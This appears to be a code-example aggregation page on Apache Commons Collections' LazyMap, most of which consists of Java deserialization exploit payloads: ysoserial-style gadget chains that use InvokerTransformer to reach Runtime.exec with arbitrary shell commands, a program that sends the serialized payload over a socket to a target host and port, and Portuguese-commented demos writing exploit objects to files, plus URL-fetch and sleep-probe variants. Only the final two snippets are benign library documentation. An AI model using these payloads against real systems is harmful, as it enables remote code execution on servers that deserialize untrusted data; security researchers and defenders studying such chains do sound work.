org.apache.commons.collections.map.LazyMap Java Examples

public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 

public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 

public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 

public static void main(String[] args) throws Exception {

        String targetAddress = args[0];
        int targetPort = Integer.parseInt(args[1]);

        // Build Runtime payload
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
                new ConstantTransformer("1")
        };
        Transformer transformChain = new ChainedTransformer(transformers);

        // Build a vulnerability map object
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");

        // Build an exception to trigger our payload when unserialize
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);

        // send payload to target!
        // or write to file
        // ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        // oos.writeObject(payload);
        Socket socket=new Socket(targetAddress, targetPort);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
        objectOutputStream.writeObject(exception);
        objectOutputStream.flush();
    }
 

@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException {

    String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado

    Transformer[] transformers = new Transformer[] {
            // retorna Class Runtime.class
            new ConstantTransformer(Runtime.class),
            // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
            new InvokerTransformer(
                    "getMethod",                                    // invoca método getMethod
                    ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
                    ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
            ),
            // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
            new InvokerTransformer(
                    "invoke",                                      // invoca método: invoke
                    (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
                    (new Object[] {null, new Object[0] })         // parâmetros: (null, new Object[0])
            ),
            // 3o. Objeto InvokerTransformer: .exec(cmd[])
            new InvokerTransformer(
                    "exec",                                       // invoca método: exec
                    new Class[] { String[].class },              // tipos dos parâmetros: (String[])
                    new Object[]{ cmd } )                        // parâmetros: (cmd[])
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)

}
 

public BadAttributeValueExpException getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
		
		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
		valfield.setAccessible(true);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}
 

public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
		
		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
		
		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
				
		return handler;
	}
 

public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
	
	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
	
	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
	
	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
			
	return handler;
}
 

public BadAttributeValueExpException getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
	        new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

	BadAttributeValueExpException val = new BadAttributeValueExpException(null);
	Field valfield = val.getClass().getDeclaredField("val");
       Reflections.setAccessible(valfield);
	valfield.set(val, entry);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return val;
}
 

public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 

@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    // Verifica se o usuário forneceu o comando a ser executado
    if (args.length != 1) {
        System.out.println("Invalid params! \n" +
                "Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
        System.exit(1);
    }

    // Seleciona o interpretador correto de acordo com o comando a ser executado
    //boolean isUnix = System.getProperty("file.separator").equals("/");
    boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
    String cmd[];
    if (isUnix)
        cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
    else
        cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado

    // Cria array de transformers que resulta na seguinte construção:
    //((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
    Transformer[] transformers = new Transformer[] {
        // retorna Class Runtime.class
        new ConstantTransformer(Runtime.class),
        // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
        new InvokerTransformer(
            "getMethod",                       // invoca método getMethod
            ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
            ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
        ),
        // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
        new InvokerTransformer(
            "invoke",                         // invoca método: invoke
            (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
            (new Object[] {null, new Object[0] })         // parâmetros: (null, new Object[0])
        ),
        // 3o. Objeto InvokerTransformer: .exec(cmd[])
        new InvokerTransformer(
            "exec",                          // invoca método: exec
            new Class[] { String[].class },              // tipos dos parâmetros: (String[])
            new Object[]{ cmd } )                        // parâmetros: (cmd[])
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //cria a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
    FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 

@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    String url = args[0];
    // Cria array de transformers que resulta na seguinte construção:
    // new URL(url).openConnection().getInputStream().read();
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(new URL(url)),
            new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
            new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
            new InvokerTransformer("read", new Class[] {}, new Object[] {})
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //criado a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in SleepExample.ser");
    FileOutputStream fos = new FileOutputStream("SleepExample.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 

@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    // Cria array de Transformers que irá resultar na seguinte construção:
    //Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Thread.class), // retorna class Thread.class
        // 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
        new InvokerTransformer(
            "getMethod",                        // invoca método getMethod
            ( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
            ( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
        ),
        // 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
        new InvokerTransformer(
            "invoke",                           // invoca método: invoke
            (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
            (new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
        )
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //cria a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in SleepExample.ser");
    FileOutputStream fos = new FileOutputStream("SleepExample.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 

public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        return hashtable;
    }
 

/**
 * Returns a "lazy" map whose values will be created on demand.
 * <p>
 * When the key passed to the returned map's {@link Map#get(Object)}
 * method is not present in the map, then the factory will be used
 * to create a new object and that object will become the value
 * associated with that key.
 * <p>
 * For instance:
 * <pre>
 * Factory factory = new Factory() {
 *     public Object create() {
 *         return new Date();
 *     }
 * }
 * Map lazyMap = MapUtils.lazyMap(new HashMap(), factory);
 * Object obj = lazyMap.get("test");
 * </pre>
 *
 * After the above code is executed, <code>obj</code> will contain
 * a new <code>Date</code> instance.  Furthermore, that <code>Date</code>
 * instance is the value for the <code>"test"</code> key in the map.
 *
 * @param map  the map to make lazy, must not be null
 * @param factory  the factory for creating new objects, must not be null
 * @return a lazy map backed by the given map
 * @throws IllegalArgumentException  if the Map or Factory is null
 */
public static Map lazyMap(Map map, Factory factory) {
    return LazyMap.decorate(map, factory);
}
 

/**
 * Returns a "lazy" map whose values will be created on demand.
 * <p>
 * When the key passed to the returned map's {@link Map#get(Object)}
 * method is not present in the map, then the factory will be used
 * to create a new object and that object will become the value
 * associated with that key. The factory is a {@link Transformer}
 * that will be passed the key which it must transform into the value.
 * <p>
 * For instance:
 * <pre>
 * Transformer factory = new Transformer() {
 *     public Object transform(Object mapKey) {
 *         return new File(mapKey);
 *     }
 * }
 * Map lazyMap = MapUtils.lazyMap(new HashMap(), factory);
 * Object obj = lazyMap.get("C:/dev");
 * </pre>
 *
 * After the above code is executed, <code>obj</code> will contain
 * a new <code>File</code> instance for the C drive dev directory.
 * Furthermore, that <code>File</code> instance is the value for the
 * <code>"C:/dev"</code> key in the map.
 * <p>
 * If a lazy map is wrapped by a synchronized map, the result is a simple
 * synchronized cache. When an object is not is the cache, the cache itself
 * calls back to the factory Transformer to populate itself, all within the
 * same synchronized block.
 *
 * @param map  the map to make lazy, must not be null
 * @param transformerFactory  the factory for creating new objects, must not be null
 * @return a lazy map backed by the given map
 * @throws IllegalArgumentException  if the Map or Transformer is null
 */
public static Map lazyMap(Map map, Transformer transformerFactory) {
    return LazyMap.decorate(map, transformerFactory);
}